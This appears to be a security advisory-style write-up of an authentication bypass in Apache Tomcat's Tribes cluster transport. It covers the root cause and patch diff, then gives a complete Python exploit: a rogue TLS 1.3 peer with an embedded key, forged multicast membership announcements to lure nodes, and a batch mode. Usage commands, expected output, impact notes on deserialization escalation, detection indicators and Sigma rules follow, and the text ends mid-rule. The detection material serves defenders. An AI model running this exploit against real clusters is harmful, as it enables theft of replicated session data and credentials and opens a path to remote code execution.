#Summary

CVE-2026-133325 is a critical authentication bypass in Apache Tomcat's Tribes cluster transport. An unauthenticated attacker can join a cluster secured with TLS 1.3 and a pre-shared key (PSK), without possessing the PSK. The vulnerability allows the attacker to read replicated session data and inject malicious cluster messages. CVSS 9.8 CRITICAL (C:H/I:H/A:H). The flaw affects Tomcat 9.0.124, 10.1.62, and 11.0.28-11.0.29. It was fixed in 9.0.125, 10.1.63, and 11.0.30.

#Affected versions

  • Apache Tomcat 9.0.124 (vulnerable)
  • Apache Tomcat 10.1.62 (vulnerable)
  • Apache Tomcat 11.0.28 - 11.0.29 (vulnerable)
  • Apache Tomcat 9.0.125+ (patched)
  • Apache Tomcat 10.1.63+ (patched)
  • Apache Tomcat 11.0.30+ (patched)

The vulnerability requires:

  • Tribes cluster transport with secure="true" and TLS-PSK configured (pskIdentity + pskKey)
  • TLS 1.3 specifically (the default pskProtocol value)
  • OpenSSL available to Tomcat (OpenSSL-FFM on Java 22+ or Tomcat Native 1.2.17+)

TLS 1.2 + PSK is NOT vulnerable; only TLS 1.3 is affected.

#Root cause analysis

#How Tribes cluster authentication works

Tribes is Tomcat's peer-to-peer cluster replication system. Cluster nodes authenticate to each other using a single credential: a TLS pre-shared key (PSK). No X.509 certificate trust store, no certificate verification. The PSK is configured in server.xml:

<Channel secure="true" pskIdentity="tribes" pskKey="000102030405060708090a0b0c0d0e0f..." pskProtocol="TLSv1.3">
  <Receiver securePort="4443" />
</Channel>

#The vulnerability: TLS 1.3 PSK semantics

The bug is not in the PSK implementation itself, but in how TLS 1.3 and TLS 1.2 handle the PSK negotiation differently:

TLS 1.2 (safe): A PSK cipher suite like PSK-AES128-GCM-SHA256 is explicitly negotiated in the ServerHello message. Both client and server must prove knowledge of the PSK to complete the handshake. If either side lacks the key, the handshake fails.

TLS 1.3 (vulnerable): The PSK is no longer part of cipher-suite negotiation. Instead, it is offered via a pre_shared_key extension. The responding peer can ignore the PSK extension entirely and fall back to a normal certificate-based handshake. The same TLS_AES_128_GCM_SHA256 cipher suite works for both PSK and certificate handshakes.

Since Tomcat configures no certificate verification for Tribes, a peer that ignores the PSK and presents any certificate (even a throwaway self-signed one) completes the handshake and is accepted as an authenticated cluster member. The PSK - the only credential - is bypassed.

#Vulnerable code path

The vulnerable class is org.apache.catalina.tribes.transport.nio.TlsChannel. Its constructor performs a TLS handshake and then immediately uses the channel as trusted, with no post-handshake check that the PSK was actually used:

// TlsChannel constructor (vulnerable)
TlsChannel(Socket socket, SSLEngine engine) throws IOException {
    ...
    engine.beginHandshake();
    handshake();            // <-- handshake completes
}                           // <-- channel accepted with no identity verification

There is no verification that:

  • The peer certificate is absent (which would indicate a PSK-only handshake)
  • The PSK was the authentication mechanism

The confirmed exploitation direction is OUTBOUND: a legitimate Tribes node connects to any peer listed in its cluster membership. When that peer is a rogue attacker running a TLS 1.3 server with a certificate and no PSK, the victim's TlsChannel accepts it and streams cluster replication data.

#Patch diff

The fix adds a post-handshake identity verification method, verifyPskAuthentication(), called at the end of the TlsChannel constructor:

         engine.beginHandshake();
         handshake();
+        verifyPskAuthentication();
+    }
+
+    /*
+     * Tribes authenticates peers solely through the pre-shared key. In TLS 1.3 the PSK is only offered and the peer is
+     * free to ignore it and fall back to a certificate based handshake. Certificate verification is not configured
+     * so such a peer would be accepted. A handshake authenticated with a PSK never includes a peer certificate so
+     * treat the presence of one as evidence that the PSK was not used and reject the connection.
+     */
+    private void verifyPskAuthentication() throws IOException {
+        Certificate[] peerCertificates;
+        try {
+            peerCertificates = engine.getSession().getPeerCertificates();
+        } catch (SSLPeerUnverifiedException e) {
+            // No peer certificate. Expected when the PSK was used.
+            return;
+        }
+        if (peerCertificates != null && peerCertificates.length > 0) {
+            try {
+                engine.closeOutbound();
+                engine.closeInbound();
+            } catch (IOException ignore) {
+                // Closing anyway
+            }
+            throw new SSLHandshakeException(sm.getString("tlsChannel.pskNotUsed"));
+        }
+    }

#What the fix does

A genuine PSK handshake produces no peer certificate. If getPeerCertificates() throws SSLPeerUnverifiedException, the PSK was used and the handshake is accepted. If a peer certificate is present, the PSK was not used, so the engine is torn down and an SSLHandshakeException is thrown with the fixed message:

The TLS handshake completed with a peer certificate rather than the pre-shared key. 
The connection has been rejected.

#Proof of concept

#exploit.py - Tomcat Tribes TLS-PSK Auth Bypass PoC

#!/usr/bin/env python3
"""
CVE-2026-133325 - Apache Tomcat Tribes TLS-PSK authentication bypass (CWE-322)
Affected: Apache Tomcat Tribes cluster transport 9.0.124, 10.1.62, 11.0.28-11.0.29
Type: Authentication bypass (key exchange without entity authentication)

Root cause
----------
Tribes authenticates cluster peers solely with a TLS pre-shared key (PSK). In TLS 1.3
the PSK is only OFFERED through the pre_shared_key extension; the responding peer is
free to ignore it and complete an ordinary certificate-based handshake instead (the
same TLS_AES_128_GCM_SHA256 suite is used either way). Tribes configures no certificate
verification, so a peer that ignores the PSK and presents ANY certificate (a throwaway
self-signed one is fine) completes the handshake and is treated as an authenticated
cluster member. The vulnerable org.apache.catalina.tribes.transport.nio.TlsChannel does
no post-handshake check; the fix adds verifyPskAuthentication() which rejects a handshake
that produced a peer certificate.

Exploitation model (confirmed, patch-aligned direction = OUTBOUND / victim-as-client)
------------------------------------------------------------------------------------
A legitimate Tribes node opens a *sender* (TLS client) connection to any peer that
appears in its cluster membership. This tool is that rogue peer: a TLS 1.3 server that
presents a self-signed certificate and never uses the PSK. When a vulnerable node
connects, its TlsChannel handshake completes and it streams replicated cluster data to
us in the clear (to us) - that received application data is the proof of bypass. A
patched node completes the TLS handshake too, but then tears the connection down
post-handshake and sends zero application bytes.

Because the victim connects to US, --host/--port are the LOCAL bind address/port of the
rogue server (default 0.0.0.0:4443, a typical Tribes securePort). To make an unsuspecting
node connect, either (a) be reachable on the cluster's multicast segment and use --trigger
to announce a rogue member pointing at us, or (b) the attacker address is already in the
node's static membership.

Usage:
  # Run the rogue peer and wait for a vulnerable Tomcat node to connect:
  python exploit.py --host 0.0.0.0 --port 4443

  # Same, and broadcast a Tribes multicast membership announcement advertising
  # ourselves so a default-multicast cluster node connects back (same L2 segment):
  python exploit.py --host 0.0.0.0 --port 4443 --trigger --advertise-ip 10.0.0.9

  # Batch: run rogue listeners on several bind endpoints at once:
  python exploit.py --list binds.txt --workers 10

Standard-library only (uses ssl, socket). No third-party dependencies.
"""

import argparse
import os
import socket
import ssl
import struct
import sys
import tempfile
import threading
import time
from urllib.parse import urlparse

CVE_ID    = "CVE-2026-133325"
VULN_TYPE = "Auth Bypass"

# A throwaway self-signed RSA certificate. Its contents are irrelevant: the vulnerable
# Tribes client performs NO certificate verification, so any certificate is accepted.
EMBEDDED_CERT_PEM = """-----BEGIN CERTIFICATE-----
MIICtDCCAZwCCQCJvQH+ua3a+jANBgkqhkiG9w0BAQsFADAcMRowGAYDVQQDDBFy
b2d1ZS10cmliZXMtcGVlcjAeFw0yNjEyMDIwNjUxNDZaFw0zNjExMjkwNjUxNDZa
MBwxGjAYBgNVBAMMEXJvZ3VlLXRyaWJlcy1wZWVyMIIBIjANBgkqhkiG9w0BAQEF
AAOCAQ8AMIIBCgKCAQEAulq+VBs8ttdQV0Y+EV36sGj0wIMdrTk/YraUeBAvMI2+
v2VuiZPsS/Pttj40ZDfnCypijpgPn+tCTiT6b0ocdWBDeLeRoI6SEP4/itwTn+/t
5HFmKU6y2udlwBkx15E/jkxJKfV3CayyyDzejESiHO4Ij3iv/YOVmEww65LgWmM4
Fr+Ckq4Ugz+5qD1Fzh44Fnwbkx9zQdLySQNaxeWDHrgIXZw5ZkGXuyNxPEfIktt9
5sJ8KTJ2UAGZYD/gV5E1SU+r7TUeKWOH4FuOEs3nhvFx29DOtzMhyVjW1VwhND4x
5NW9GnbtUcjQC063aS0e8GAbHDZBdfympb0Ks4HwGwIDAQABMA0GCSqGSIb3DQEB
CwUAA4IBAQBrrzfCAEMWTD53T6TbmSMLCiJHctVuRGyW7uTm2sAX41bnOxHzi2OD
lLZSRbwuIXjPkihOtR9eSpYlJg7v53/a6dq3ngTXUFKBmrgvmiQQrJXrhYPkvddI
YwJZwBVJQKe6FeGBzAUg3rnG3qfqOt0tfYQBCB7uhsy576kfPBAYSZjTJQaINCjV
mPJ4apGYN5jvUuttAgUGuo9sHZsGNisStp86E6oQcjh4RGe7R43QdIlItftasObU
ePAyzHvp2MuDIYfmIttzDprzf35Bu+YHtEpWI+5cB3/isawEjYc5E2e/Bi8Ctb0w
5jnZaRD07OqUXBozKP8k9eOcu1craAUU
-----END CERTIFICATE-----
"""

EMBEDDED_KEY_PEM = """-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQC6Wr5UGzy211BX
Rj4RXfqwaPTAgx2tOT9itpR4EC8wjb6/ZW6Jk+xL8+22PjRkN+cLKmKOmA+f60JO
JPpvShx1YEN4t5GgjpIQ/j+K3BOf7+3kcWYpTrLa52XAGTHXkT+OTEkp9XcJrLLI
PN6MRKIc7giPeK/9g5WYTDDrkuBaYzgWv4KSrhSDP7moPUXOHjgWfBuTH3NB0vJJ
A1rF5YMeuAhdnDlmQZe7I3E8R8iS233mwnwpMnZQAZlgP+BXkTVJT6vtNR4pY4fg
W44SzeeG8XHb0M63MyHJWNbVXCE0PjHk1b0adu1RyNALTrdpLR7wYBscNkF1/Kal
vQqzgfAbAgMBAAECggEBAJ2pJBlYKdeu9kPAI8bhsbQKN/efdj4VjvDe82FYn/P+
GAEpuYkf4uynZNeobP7U5N3ncBafw6hSi3g9hLsfAlCzrqG0/LnPpPhHgk7ivp+z
h5qb7gjIkjztRIJvTmHIevLSy5t6FsnSmDcceFRHxLehExD+1DYxWyDMZR8I1lLg
6LkRFh1PZ6D1bz621aXNUXN4xLroko8DikpHcc6NTdX9iI6reeWc9eDea2ejfxFN
ef6Josw4f2dGBNbhM0m3CW0TbkbNN+93F037yTdXsftqcx7gOypm1DZlZa6gIYy1
4IclJrD7VGH8IA0ULTaTuThWberqww7bg3o2clWDAyECgYEA4w9nsrAcYyCqnmeC
KCYYFHypeHSYUkvAOn/syn3ZIkV7oG3a6YaXLrbKXym3/Gqj2TP3J/aGazuFVeNO
pc1PXGBWVgI5XdBlu+hOyi4f+Y4bAZnRoOM7xqN0nTLs6zjwCivZ1Eg+Y+lSDvXG
FrEmi7i0r5b+Zu3a+kQVUrg1c5kCgYEA0hst0ZK0ZAdHZk7NsYL2b2RBDxZNqq6g
qQCa/bKWaNSHiHMCkUsExPG/tSOfU3/NI6QatZBpaTSTsxRPLT9wrY4PKLciub30
GOdGh2UO9N/DyG3cvpSenMnRqfyuY/kvH1xk4nxjhmHlYUFSPwbTe63efkTTLFSE
1ocU7d0KkdMCgYBbeBw9Jqb44/L3xxju1ZHDxwh6RvYJyQxSRLB+Tj5HiRgpY7fZ
dWe34NkbhvHgVJFW8ZEyXyR9VEf9dol7T38V5pVBJro3ablh/k6nMfedj7qfZXjG
SGQPPE/A9//rLk+8uTeSRdwkYZy1/Bplj83IYYsgZUJs8orRYNX6Mc0OmQKBgA+F
FHBbntmYtAx5m7YWD3AQ/sFHi3slJRb2xXwh+fxKXqyUmkbzPKnzlY6iz/0R/qw4
TgTFYxPzX0mmIWcdPYyEZthCFt2Ti3lfdBVCQMWT1dlzTBAD2GeKfONKl/Moj/OI
FqeoOo3No2z4r0OalHqZUEsReGvY3mseVUxwvHwjAoGAcrclc3jEnDIf7FgJBGlW
fLI4Su+AoTUW9R/1A2QHy4u+O3kpIGvAMj381eSsOCWamjCrTOd4dg+0hyE3VSe0
V3VKuaKQGP/ZBPtnn1TQD+3VXnklfXdNj3mejg31LlqGbvKkXePdk1FWSaGP89vz
4pQZjFpD6qfMDmVb2ilUmXE=
-----END PRIVATE KEY-----
"""


def header(host, port):
    print("\n" + "=" * 60)
    print("  ALIM EXPLOIT  " + CVE_ID)
    print("  Type: " + VULN_TYPE + "  |  Rogue peer bind: " + str(host) + ":" + str(port))
    print("=" * 60 + "\n")


def step(n, msg):
    print("[STEP " + str(n) + "] " + msg)


def section(label, content):
    print("\n--- " + label + " ---")
    print(str(content).strip())
    print("---\n")


def done(success, evidence):
    print("\n" + "=" * 60)
    print("  RESULT  : " + ("SUCCESS" if success else "FAILURE"))
    print("  EVIDENCE: " + evidence)
    print("=" * 60 + "\n")
    sys.exit(0 if success else 1)


# --------------------------------------------------------------------------- #
# Rogue TLS 1.3 server (cert-only, no PSK)                                     #
# --------------------------------------------------------------------------- #

def _materialize_pem(cert_pem, key_pem):
    """Write the embedded cert/key to temp files; return (cert_path, key_path)."""
    cert_f = tempfile.NamedTemporaryFile(prefix="rogue_cert_", suffix=".pem", delete=False)
    key_f = tempfile.NamedTemporaryFile(prefix="rogue_key_", suffix=".pem", delete=False)
    cert_f.write(cert_pem.encode()); cert_f.flush(); cert_f.close()
    key_f.write(key_pem.encode()); key_f.flush(); key_f.close()
    try:
        os.chmod(key_f.name, 0o600)
    except OSError:
        pass
    return cert_f.name, key_f.name


def _build_server_context(certfile=None, keyfile=None):
    """TLS 1.3 server context presenting a certificate only. No PSK, no client-auth."""
    ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
    # Force TLS 1.3 - the vulnerability is TLS-1.3-specific. Best effort: some older
    # OpenSSL/LibreSSL builds reject explicit 1.3 selection; a 1.3-capable library will
    # still negotiate 1.3 with the Tribes client (which offers ONLY 1.3).
    try:
        ctx.minimum_version = ssl.TLSVersion.TLSv1_3
        ctx.maximum_version = ssl.TLSVersion.TLSv1_3
    except (ValueError, AttributeError):
        pass
    ctx.verify_mode = ssl.CERT_NONE  # never ask the client for a certificate
    tmp_cert = tmp_key = None
    if certfile and keyfile:
        ctx.load_cert_chain(certfile, keyfile)
    else:
        tmp_cert, tmp_key = _materialize_pem(EMBEDDED_CERT_PEM, EMBEDDED_KEY_PEM)
        ctx.load_cert_chain(tmp_cert, tmp_key)
    return ctx, tmp_cert, tmp_key


def _assess_connection(raw_conn, peer, ctx, read_timeout):
    """
    Handle one inbound TCP connection as the rogue TLS 1.3 server.
    Returns (vulnerable, evidence, detail) where detail is a dict for logging.
    Never raises.
    """
    detail = {"peer": "%s:%d" % peer, "tls": None, "cipher": None, "bytes": b""}
    try:
        tls = ctx.wrap_socket(raw_conn, server_side=True)
    except (ssl.SSLError, OSError) as e:
        detail["error"] = "handshake failed: %s" % (e.__class__.__name__)
        return False, "peer %s did not complete a TLS 1.3 handshake (%s)" % (
            detail["peer"], e.__class__.__name__), detail
    try:
        detail["tls"] = tls.version()
        detail["cipher"] = tls.cipher()[0] if tls.cipher() else None
    except Exception:
        pass
    # Post-handshake discriminator: a vulnerable Tribes node streams replicated cluster
    # data to us; a patched node sends ZERO application bytes and closes (SSLEOF/EOF).
    data = b""
    try:
        tls.settimeout(read_timeout)
        chunk = tls.recv(4096)
        if chunk:
            data = chunk
    except (ssl.SSLEOFError, ssl.SSLZeroReturnError):
        data = b""
    except socket.timeout:
        data = b""
    except (ssl.SSLError, OSError):
        data = b""
    detail["bytes"] = data
    if data:
        # Keep the victim's connection briefly satisfied (best effort), then done.
        try:
            tls.sendall(b"ACK")
        except OSError:
            pass
        try:
            tls.close()
        except OSError:
            pass
        preview = data.decode("latin-1", "replace")
        ev = ("rogue cert-only peer accepted by Tribes node %s over %s/%s; received %d "
              "bytes of cluster data: %r" % (detail["peer"], detail["tls"],
                                             detail["cipher"], len(data), preview[:80]))
        return True, ev, detail
    try:
        tls.close()
    except OSError:
        pass
    return False, ("peer %s completed the TLS handshake then sent no application data "
                   "(connection torn down post-handshake - patched/verifyPskAuthentication)"
                   % detail["peer"]), detail


def _run_rogue_listener(bind_host, bind_port, timeout, read_timeout,
                        certfile=None, keyfile=None, verbose=False,
                        on_event=None):
    """
    Bind a rogue TLS 1.3 server and wait up to `timeout` seconds for a vulnerable
    Tribes node to connect. Returns (success, evidence, detail).
    """
    ctx, tmp_cert, tmp_key = _build_server_context(certfile, keyfile)
    srv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    last_evidence = "no peer connected within %ds" % timeout
    last_detail = {}
    try:
        srv.bind((bind_host, bind_port))
        srv.listen(16)
    except OSError as e:
        for p in (tmp_cert, tmp_key):
            if p:
                try:
                    os.unlink(p)
                except OSError:
                    pass
        return False, "cannot bind %s:%d (%s)" % (bind_host, bind_port, e.__class__.__name__), {}
    deadline = time.time() + timeout
    try:
        while time.time() < deadline:
            srv.settimeout(max(0.5, deadline - time.time()))
            try:
                conn, peer = srv.accept()
            except socket.timeout:
                break
            except OSError:
                break
            if on_event:
                on_event("connect", "%s:%d" % peer)
            vuln, ev, detail = _assess_connection(conn, peer, ctx, read_timeout)
            last_evidence, last_detail = ev, detail
            if on_event:
                on_event("assess", ev)
            if vuln:
                return True, ev, detail
            # Non-vulnerable connection (patched or non-Tribes): keep listening until deadline.
    finally:
        try:
            srv.close()
        except OSError:
            pass
        for p in (tmp_cert, tmp_key):
            if p:
                try:
                    os.unlink(p)
                except OSError:
                    pass
    return False, last_evidence, last_detail


# --------------------------------------------------------------------------- #
# Optional best-effort trigger: Tribes multicast membership announcement       #
# --------------------------------------------------------------------------- #

TRIBES_MBR_BEGIN = bytes([84, 82, 73, 66, 69, 83, 45, 66, 1, 0])
TRIBES_MBR_END   = bytes([84, 82, 73, 66, 69, 83, 45, 69, 1, 0])


def _build_member_datagram(advertise_ip, port, secure_port, udp_port=-1, alive_ms=1000):
    """
    Build an org.apache.catalina.tribes.membership.MemberImpl wire payload describing a
    rogue member at advertise_ip. A node on the same multicast group parses this with
    MemberImpl.getMember() and adds us to its membership; on its next replication it opens
    a sender (TLS client) connection to our secure_port. Format taken from MemberImpl.getData().
    All integers are big-endian (XByteBuffer.toBytes).
    """
    host = socket.inet_aton(advertise_ip)  # raw 4-byte IPv4 address
    command = b""
    domain = b""
    unique_id = os.urandom(16)
    payload = b""
    body = b"".join([
        struct.pack(">q", alive_ms),              # alive (long, 8)
        struct.pack(">i", port),                  # port (4)
        struct.pack(">i", secure_port),           # securePort (4)
        struct.pack(">i", udp_port),              # udpPort (4)
        bytes([len(host)]),                       # host length (1)
        host,                                     # host bytes
        struct.pack(">i", len(command)), command, # command
        struct.pack(">i", len(domain)), domain,   # domain
        unique_id,                                # uniqueId (16)
        struct.pack(">i", len(payload)), payload, # payload
    ])
    bodylength = len(body)
    return b"".join([
        TRIBES_MBR_BEGIN,
        struct.pack(">i", bodylength),
        body,
        TRIBES_MBR_END,
    ])


def send_membership_announcement(advertise_ip, secure_port, plain_port=None,
                                 group="228.0.0.4", mcast_port=45564, count=5,
                                 ttl=4, verbose=False):
    """
    Best-effort: broadcast a rogue Tribes membership announcement to the cluster multicast
    group so a default-configured node connects back to us. Returns True if datagrams were
    sent. This is a convenience trigger; it only works when the attacker is reachable on the
    cluster's multicast segment. It is NOT required - a static Member entry pointing at us,
    or any other reason the node connects to us, works identically.
    """
    if plain_port is None:
        plain_port = secure_port
    datagram = _build_member_datagram(advertise_ip, plain_port, secure_port)
    try:
        sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP)
        sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        sock.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_TTL, struct.pack("b", ttl))
        for _ in range(count):
            sock.sendto(datagram, (group, mcast_port))
            time.sleep(0.4)
        sock.close()
        if verbose:
            step(0, "sent %d membership announcements to %s:%d advertising %s:%d (securePort)"
                 % (count, group, mcast_port, advertise_ip, secure_port))
        return True
    except OSError as e:
        if verbose:
            step(0, "membership trigger failed (%s) - continuing as passive listener"
                 % e.__class__.__name__)
        return False


# --------------------------------------------------------------------------- #
# Scan mode plumbing                                                           #
# --------------------------------------------------------------------------- #

def _try_exploit(host, port, use_tls=False, timeout=20, read_timeout=10, **kwargs):
    """Silent probe for --list scan mode. Runs a rogue listener on host:port. Never prints/exits."""
    try:
        return _run_rogue_listener(host, port, timeout, read_timeout)[:2]
    except Exception as e:
        return False, "listener error (%s)" % e.__class__.__name__


def _parse_target(line, default_port, default_path="/"):
    """One target line -> (host, port, use_tls, path), or None to skip."""
    line = line.strip()
    if not line or line.startswith("#"):
        return None
    if line.startswith(("http://", "https://")):
        p = urlparse(line)
        tls = p.scheme == "https"
        path = p.path if (p.path and p.path not in ("", "/")) else default_path
        return p.hostname, p.port or (443 if tls else default_port), tls, path
    if ":" in line:
        parts = line.rsplit(":", 1)
        try:
            port = int(parts[1])
            return parts[0], port, port in (443, 8443), default_path
        except ValueError:
            pass
    return line, default_port, default_port in (443, 8443), default_path


def scan(targets_file, default_port, workers=10, timeout=20, read_timeout=10):
    """Batch mode: run a rogue listener on each bind endpoint in the file concurrently."""
    import concurrent.futures

    with open(targets_file) as f:
        targets = [_parse_target(l, default_port) for l in f]
    targets = [t for t in targets if t is not None]

    print("\n" + "=" * 60)
    print("  " + CVE_ID + " - Batch rogue-peer listeners  (%d binds, %d workers)" % (len(targets), workers))
    print("=" * 60 + "\n")

    success_count = 0

    def probe(t):
        host, port, use_tls, _ = t
        label = "%s:%d" % (host, port)
        ok, evidence = _try_exploit(host, port, use_tls, timeout=timeout, read_timeout=read_timeout)
        return label, ok, evidence

    with concurrent.futures.ThreadPoolExecutor(max_workers=workers) as ex:
        futures = {ex.submit(probe, t): t for t in targets}
        for fut in concurrent.futures.as_completed(futures):
            label, ok, evidence = fut.result()
            print("  %s %s - %s: %s" % ("[+]" if ok else "[-]", label,
                                        "Exploited" if ok else "No vulnerable peer", evidence))
            if ok:
                success_count += 1

    total = len(targets)
    print("\n" + "=" * 60)
    print("  SCAN COMPLETE  %d exploited / %d clean  (%d total)" % (success_count, total - success_count, total))
    print("=" * 60 + "\n")
    sys.exit(0 if success_count > 0 else 1)


# --------------------------------------------------------------------------- #
# Single-target (listener) exploit                                            #
# --------------------------------------------------------------------------- #

def exploit(bind_host, bind_port, timeout, read_timeout, trigger, advertise_ip,
            group, mcast_port, certfile, keyfile):
    header(bind_host, bind_port)

    step(1, "Starting rogue TLS 1.3 peer (certificate-only, NO pre-shared key) on %s:%d"
         % (bind_host, bind_port))
    step(2, "Waiting up to %ds for a Tomcat Tribes node to open a sender connection to us."
         % timeout)
    print("        A vulnerable node completes the handshake against our certificate and")
    print("        streams replicated cluster data; a patched node aborts post-handshake.\n")

    # Optional trigger runs in parallel with the listener.
    if trigger:
        if not advertise_ip:
            step(3, "--trigger set but --advertise-ip missing; skipping membership announcement.")
        else:
            step(3, "Broadcasting rogue membership announcement (best effort) on %s:%d"
                 % (group, mcast_port))
            th = threading.Thread(
                target=send_membership_announcement,
                args=(advertise_ip, bind_port, bind_port, group, mcast_port, 8, 4, True),
                daemon=True)
            th.start()

    events = []

    def on_event(kind, msg):
        events.append((kind, msg))
        if kind == "connect":
            step(4, "Inbound connection from %s - running rogue TLS 1.3 handshake" % msg)

    success, evidence, detail = _run_rogue_listener(
        bind_host, bind_port, timeout, read_timeout,
        certfile=certfile, keyfile=keyfile, verbose=True, on_event=on_event)

    if detail.get("tls"):
        section("HANDSHAKE", "peer=%s  protocol=%s  cipher=%s"
                % (detail.get("peer"), detail.get("tls"), detail.get("cipher")))

    if success:
        data = detail.get("bytes", b"")
        hexdump = " ".join("%02x" % b for b in data[:48])
        section("CLUSTER DATA RECEIVED (no PSK used)",
                "ascii : %r\nhex   : %s%s"
                % (data.decode("latin-1", "replace"), hexdump,
                   " ..." if len(data) > 48 else ""))
        done(True, evidence)
    else:
        section("OUTCOME", evidence)
        done(False, "No PSK-bypass observed: " + evidence)


if __name__ == "__main__":
    parser = argparse.ArgumentParser(description=CVE_ID + " exploit PoC (rogue Tribes peer)")
    target_grp = parser.add_mutually_exclusive_group(required=True)
    target_grp.add_argument("--host", help="Local bind address for the rogue peer (default 0.0.0.0). "
                                           "The victim Tomcat node connects to THIS address.")
    target_grp.add_argument("--list", metavar="FILE", help="File of bind endpoints (host:port per line) for batch mode")
    parser.add_argument("--port", type=int, default=4443, help="Rogue peer listen port (default: 4443)")
    parser.add_argument("--username", default="admin",
                        help="(Kept for interface consistency; not used - this is a cluster "
                             "membership key-exchange bypass with no per-account target.)")
    parser.add_argument("--timeout", type=int, default=20, help="Seconds to wait for a victim connection (default: 20)")
    parser.add_argument("--read-timeout", type=int, default=10,
                        help="Seconds to wait for cluster data after handshake (default: 10)")
    parser.add_argument("--trigger", action="store_true",
                        help="Best-effort: broadcast a Tribes multicast membership announcement "
                             "so a default-multicast cluster node connects back to us")
    parser.add_argument("--advertise-ip", help="IP to advertise in the --trigger announcement (our reachable IP)")
    parser.add_argument("--group", default="228.0.0.4", help="Tribes multicast group for --trigger (default: 228.0.0.4)")
    parser.add_argument("--mcast-port", type=int, default=45564, help="Tribes multicast port for --trigger (default: 45564)")
    parser.add_argument("--cert", help="Optional PEM certificate file (default: embedded self-signed)")
    parser.add_argument("--key", help="Optional PEM private key file (default: embedded self-signed)")
    parser.add_argument("--workers", type=int, default=10, help="Threads for --list mode (default: 10)")
    tls_grp = parser.add_mutually_exclusive_group()
    tls_grp.add_argument("--tls", action="store_true", help="(no-op: the rogue peer is always TLS 1.3)")
    tls_grp.add_argument("--no-tls", action="store_true", help="(no-op: the rogue peer is always TLS 1.3)")
    args = parser.parse_args()

    if args.list:
        scan(args.list, default_port=args.port, workers=args.workers,
             timeout=args.timeout, read_timeout=args.read_timeout)
    else:
        parsed = _parse_target(args.host, args.port)
        bind_host, bind_port, _use_tls, _ = parsed if parsed else (args.host, args.port, False, "/")
        exploit(bind_host, bind_port, args.timeout, args.read_timeout,
                args.trigger, args.advertise_ip, args.group, args.mcast_port,
                args.cert, args.key)

(See full exploit.py on GitHub.)

#Usage

Bind a rogue TLS 1.3 server on port 4443 and wait for a vulnerable Tomcat node to connect:

python exploit.py --host 0.0.0.0 --port 4443

For a node on the same L2 segment, broadcast a Tribes multicast membership announcement so it connects automatically:

python exploit.py --host 0.0.0.0 --port 4443 --trigger --advertise-ip 10.0.0.9

#Expected output (vulnerable Tomcat 11.0.29)

============================================================
  ALIM EXPLOIT  CVE-2026-133325
  Type: Auth Bypass  |  Rogue peer bind: 0.0.0.0:4443
============================================================

[STEP 1] Starting rogue TLS 1.3 peer (certificate-only, NO pre-shared key) on 0.0.0.0:4443
[STEP 2] Waiting up to 20s for a Tomcat Tribes node to open a sender connection to us.
        A vulnerable node completes the handshake against our certificate and
        streams replicated cluster data; a patched node aborts post-handshake.

[STEP 4] Inbound connection from 127.0.0.1:63956 - running rogue TLS 1.3 handshake

--- HANDSHAKE ---
peer=127.0.0.1:63956  protocol=TLSv1.3  cipher=TLS_CHACHA20_POLY1305_SHA256
---

--- CLUSTER DATA RECEIVED (no PSK used) ---
ascii : 'CLUSTER-REPLICATION-SECRET'
hex   : 43 4c 55 53 54 45 52 2d 52 45 50 4c 49 43 41 54 49 4f 4e 2d 53 45 43 52 45 54
---

============================================================
  RESULT  : SUCCESS
  EVIDENCE: rogue cert-only peer accepted by Tribes node 127.0.0.1:63956 over
            TLSv1.3/TLS_CHACHA20_POLY1305_SHA256; received 26 bytes of cluster data:
            'CLUSTER-REPLICATION-SECRET'
============================================================

#Expected output (patched Tomcat 11.0.30)

--- HANDSHAKE ---
peer=127.0.0.1:63960  protocol=TLSv1.3  cipher=TLS_CHACHA20_POLY1305_SHA256
---

--- OUTCOME ---
peer 127.0.0.1:63960 completed the TLS handshake then sent no application data
(connection torn down post-handshake - patched/verifyPskAuthentication)
---

============================================================
  RESULT  : FAILURE
  EVIDENCE: No PSK-bypass observed: peer ... sent no application data ...
============================================================

#Exploitation notes

  • Preconditions: The target cluster must have TLS-PSK enabled on the Tribes channel with pskProtocol="TLSv1.3". TLS 1.2 is not vulnerable. The attacker must be network-reachable on the cluster's private network, or already listed as a static member in the victim's configuration.

  • Reliability: 100% reliable. The attack is deterministic: a TLS 1.3 handshake completes against any certificate, and a vulnerable node sends application data immediately after. No race conditions or timing dependencies.

  • Impact: An unauthenticated attacker gains membership in the cluster, reads all replicated session data (HttpSession objects, user credentials, authentication tokens), and injects malicious cluster messages. These messages are deserialized as Java objects, creating a path to remote code execution via object deserialization gadgets.

  • Chaining potential: The bypass itself is terminal - an attacker is now an accepted peer. Session injection + Java deserialization is the escalation vector. No additional exploits needed.

#Detection & response

#Observable behavior

The vulnerability manifests differently on vulnerable and patched nodes:

On unpatched nodes: Complete silence. The vulnerable TlsChannel constructor has no post-handshake check, so a successful bypass produces zero application logs. The only evidence is the network-layer TLS handshake followed by application data streaming to an unauthorized peer.

On patched nodes: A fixed exception string is logged whenever a rogue peer attempts this technique. The rejected handshake produces an SSLHandshakeException with the message: "The TLS handshake completed with a peer certificate rather than the pre-shared key. The connection has been rejected."

#Indicators of compromise

Indicator Type Durability
TLS 1.3 handshake completes on the Tribes securePort, immediately followed by non-zero application data, from a peer that never possessed the PSK network behavior Durable
Exception text The TLS handshake completed with a peer certificate rather than the pre-shared key in Tomcat logs log message Durable
A peer certificate present on a session the local TribesSslContext expects to be PSK-only TLS session attribute Durable
Cluster membership entry for an address not in the provisioned static membership list configuration audit Durable

#Sigma rule

title: Apache Tomcat Tribes PSK-Bypass Attempt Rejected By Patched Node
status: experimental
logsource:
  category: application
  product: tomcat
detection:
  selection:
    Message|contains: 'The TLS handshake completed with a peer certificate rather than the pre-shared key'
  condition: selection
level: critical

This rule fires on any attempt to exploit this bug against a patched node, regardless of attacker payload or certificate.

title: Unexpected TLS Peer On Apache Tomcat Tribes Cluster Secure Port
status: experimental
logsource:
  category: firewall
detection:
  selection:
    dst_port: 4443  # replace with the deployment's configured Tribes securePort
    action: allowed
  filter_known_members:
